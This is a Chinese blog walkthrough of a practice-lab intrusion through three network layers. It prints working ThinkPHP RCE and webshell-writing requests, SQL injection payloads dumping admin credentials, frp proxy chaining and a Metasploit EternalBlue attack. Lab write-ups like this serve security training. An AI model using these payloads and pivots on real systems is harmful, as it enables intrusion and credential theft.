打穿你的內網之三層內網滲透
- 2022 年 9 月 17 日
- 筆記
引言
在過去的一些實戰經歷中發現自己內網相關的技能還比較薄弱,所以專門找了個靶場(teamssix.com)做下練習,靶場的web漏洞利用都很簡單,主要訓練自己內網搭代理隧道的熟練度,如果你和我一樣對複雜網路下隧道搭建不熟悉的話,不妨一起看看這篇文章,希望能對你有一些幫助。
目標:拿下內網最深處主機的flag.txt 文件
外網打點
在互聯網環境下發現一處資產 ,這裡以 x.x.220.130 替代,直接訪問 x.x.220.130 發現以下頁面:
很明顯這是一個thinkphp應用,隨便指定一個路由//x.x.220.130/index.php/?s=123,爆出thinkphp的詳細版本。
tp5在5.0-5.0.24 和 5.1.0-5.1.30都是存在RCE(Remote code Execution)的,這裡運氣很好,直接使用5.0.x路由默認兼容模式進行RCE,使用以下payload 執行id命令:
//x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id
可以看見命令執行成功。
接下來直接寫入一個shell ,使用php 的 file_put_contents 函數寫個一句話木馬:
//x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E
驗證:
驗證成功,直接使用蟻劍進行連接。
將超時時間調高,因為後續會上傳文件避免超時而中斷:
連接成功:
第一層的flag就在網站根目錄下面, 直接雙擊讀取即可:
突破邊界(第一層)
接上文,已經拿下第一台伺服器,嘗試對這台伺服器進行資訊收集:
拿下的這台伺服器發現許可權並不高僅為www,但是有驚喜的是這台機器存在雙網卡,其中一張網卡(ens37)綁定了內網ip(192.168.22.131),證明這台伺服器處於企業架構的DMZ(非軍事區)區域,且是兩個網段的邊界節點,那麼我們只要藉助這台伺服器作為跳板即可進入這家企業的內網,至少進入了192.168.22.x/24網段的內網。
22 網段資訊收集
既然發現了存在192.168.22.x/24 網段,所以嘗試對 22 網段進行資訊收集,這裡使用fscan (//github.com/shadow1ng/fscan)工具進行內網大保健.
上傳fscan 到伺服器目錄/tmp
對 192.168.22.x/24 網段進行掃描:
./fscan -h 192.168.22.1/24 -o fscan.log
查看掃描結果:
發現網段內還存在192.168.22.128 和 , 且192.168.22.129192.168.22.128:80 存在 cms服務。
接下來的目標就是拿下192.168.22.128 伺服器,直接通過DMZ這台伺服器因為許可權太低所以不能直接用它來滲透,所以需要
以第一台服務作為跳板。
搭建跳板
先畫個網路拓撲圖,方便後續理解,第一台機器我們也叫它Target 1.
因為在上一步資訊收集時發現192.168.22.128:80 (Target 2)存在 cms服務,有兩種方式進行利用:
- 對 Target 2
80埠進行埠轉發。 - 使用反向代理,將Target 1 的網路通過vps代理出去。
為了進一步對內網進行探測,這裡選擇第二種方式。
反向代理有很多工具可以使用,frp、ew、ngrok都可以,這裡使用frp方式。
frp存在服務端(frps)與客戶端(frpc), frps需要一直保持運行,轉發方式通過客戶端配置文件進行確定。
啟用frp 服務端
下載frps到自己的vps上,frps.ini 配置如下 :
其中 token 表示客戶端進行連接的驗證參數, 監聽埠為17001, dashboard 為frps自帶的儀錶盤,方便對frps運行情況進行查看,
使用命令frps -c frps.ini 啟動即可,如果想要後台運行,可以加入service或者使用nohup啟動。
netstat 查看對應埠在監聽則證明啟動成功。使用配置的dashboard埠也能成功進入。
Target1 客戶端配置
將frpc 傳入target1 /tmp/frp目錄:
frpc.ini 配置內容:
其中common內容與frps.ini保持一致即可, target1客戶端分別配置了socks5與http的代理方式,使用frpc -c frpc.ini 進行啟動:
在 vps 伺服器端分別發現了16004與16005埠,證明代理搭建成功!
這樣就相當於打通了外部與該企業的內網,在互聯網掛著vps 16004/16005的代理就能訪問 Target2 所在的網段:
進入第二層內網
在上一步驟中已經搭建好了內網代理,現在進行以下測試,首先在沒有使用代理時,192.168.22.128是無法訪問的:
通過瀏覽器插件配置代理,因為瀏覽器不支援socks5 代理的加密認證,所以這裡配置http方式
再次訪問192.168.22.128 ,成功訪問,到此我們就已經訪問了企業第二層內網:
雖然這裡瀏覽器能夠正常訪問了,但是在滲透的過程中常常會使用安全工具進行掃描或者漏洞利用,這些工具大部分沒有預留走代理的配置,或者系統的代理往往不會生效,這種情況怎麼辦呢?
所以這時候強制代理工具就很重要了,強制代理工具也有很多,這裡使用proxifer,這款工具在win/mac下都有比較方便。
### 對`Target2` 進行埠掃描
雖然在之前的掃描中發現了Target2 80埠存在一個cms,但是 滲透總是照著軟柿子捏,我們嘗試使用nmap 對Target2 進行埠掃描,尋找其開放的埠。
1. 首先需要配置Proxifer ,先配置代理伺服器
- 需要配置代理規則,按照下圖配置:
- 使用nmap 進行掃描,注意的是socks本身也是建立在tcp基礎上的,所以nmap只能以tcp全連接的方式進行掃描,即:
nmap -sT 192.168.22.128 -Pn
對21、22、3306 都進行了弱口令嘗試,但無解,888、8888 是寶塔的控制面板介面,嘗試了寶塔之前的phpmyadmin未授權訪問也無解。看樣子只能對80埠下手。
Bage cms 滲透
通過查看網頁底部指紋資訊,知道這是一個bage cms搭建的網站,而且從時間上來看有些老舊。
通過在網上尋找bage cms的利用點發現均為一些任意文件讀取或者xss等後管的漏洞利用,雖然通過路徑掃描找到了後台地址://192.168.22.128/index.php?r=admini/public/login
但並沒有弱口令,而且因為有驗證碼 所以也沒法爆破,這個時候就茫然了,完全拿不下。
但總得抓個包先看看吧,聯想到之前某活動,有個巨佬通過注釋找到利用點拿到shell的場景,我這次也留意了注釋的內容,刺激的是果然在注釋裡面有提示!
sql手工注入一把梭
訪問提示的地址//192.168.22.128/index.php?r=vul&keyword=1:
加上單引號,典型的mysql報錯注入:
所以使用報錯注入注出後管用戶名和密碼就好(中途發現報錯注入顯示的字元長度有限制,後面轉成了聯合注入),細節就不完整放了,很基礎,貼下過程中的payload:
-- 資料庫
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+
-- 注用戶
-- bagecms@localhost
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注用戶名
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密碼
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
把注入出來的md5 密碼去解一下,得到(admin/123qwe):
放入後門
使用注入得到的帳號密碼進行登錄,成功登錄。
後管直接把Target2 的flag給顯示出來了,嘗試繼續深入,給這台服務上傳shell,上傳點存在限制,但是在模板功能模組存在直接編輯模板程式碼的功能,所以很簡單直接把一句話隨便找個文件放入就好:
嘗試使用蟻劍進行連接,因為Target2 是內網機器,所以要連接shell得先給蟻劍掛代理:
其餘和Target1 一樣進行連接, 連接成功,至此 Target2 也被拿下。
進入第三層內網
同樣的步驟,先對剛拿下的Taget2 進行資訊收集:
發現和 Target1 類似,同樣是雙網卡,且能訪問192.168.33.128 網段,和 Target1 不同的是不能出網,如果類比企業的話,33可能就是企業的核心生產網。
再次上傳fscan,對33網段進行內網大保健:
顯示33網段除了Target2 之外 ,還有一台192.168.33.33 (Target3) ,且該主機為win7 ,fscan掃描得出存在永恆之藍漏洞(MS17-010),所以可以再使用Target2的網路對Target3發起永恆之藍攻擊
#### 搭建雙層代理鏈
往內網越深,需要搭建的代理就越多,內網的機器往往都是不出網的,所以需要依賴DMZ的機器作為總的出入口搭建代理鏈。
代理鏈搭建其實很簡單,就是在Target1 上啟動服務端,Target2 通過客戶端連接服務端, 然後在使用代理時先讓代理走target1 然後再走target2,即:
Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3
給Target1 運行frps 服務端,配置使用和vps相同的參數:
上Target2 運行客戶端,其餘配置都一樣,把server_addr 換成開啟服務端的Target1ip(注意ip要是22段,不然網路不通)
Target1 上開始監聽Target2 客戶端配置的代理ip時,說明配置成功。
永恆之藍(MS17-010)
永恆之藍這個漏洞很老了,算是復古一波,利用方式在msf裡面就有,所以可以在vps上下載msf,給vps掛上代理鏈即可使用msf發起對Target3 的攻擊。
在linux上對應用進行強制代理的工具可以使用proxychains-ng
proxychains-ng
在centos 上可以很方便的 yum install -y proxychains-ng 安裝即可
配置文件默認在/etc/proxychains.conf ,按照如下順序配置(順序很重要,不能亂),因為我的frps就在這台vps上,所以直接使用127.0.0.1即可:
剛剛fscan掃描結果可知192.168.33.33 開啟了 139和445 埠,使用proxtchain測試下,使用也非常簡單,在需要代理的命令前面加上
proxychain即可:
proxychains telnet 192.168.33.33 139
從上圖可以看到埠已經通了,這時候就可以打開msf一把梭了。
msf
- 使用proxychains 啟動msfconsole
- 搜索ms17-010,直接使用第一個就好:
- 因為Target3 是不能出網的 ,所以不能使用默認的反向payload,需要指定正向payload:
- 設置目標參數資訊
- exploit !!!
拿到Taget3 最高許可權!嘗試去讀取flag
拿到flag!
截圖:
到這裡已經拿到了第三層的內網主機最高許可權,fscan掃描也沒有其他主機資訊,可以確認這次就基本打穿了。
總結
回顧一下,本次滲透總共通過三個邊界節點的漏洞利用成功拿下身處最內網的Target3,分別通過TP5、Bage cms、永恆之藍作為漏洞利用點,藉助frp 工具搭建代理鏈實現對內網的訪問。其實整個過程還是很簡單的,並沒有涉及到域相關的內容,後續有機會再分享。
公眾號
歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!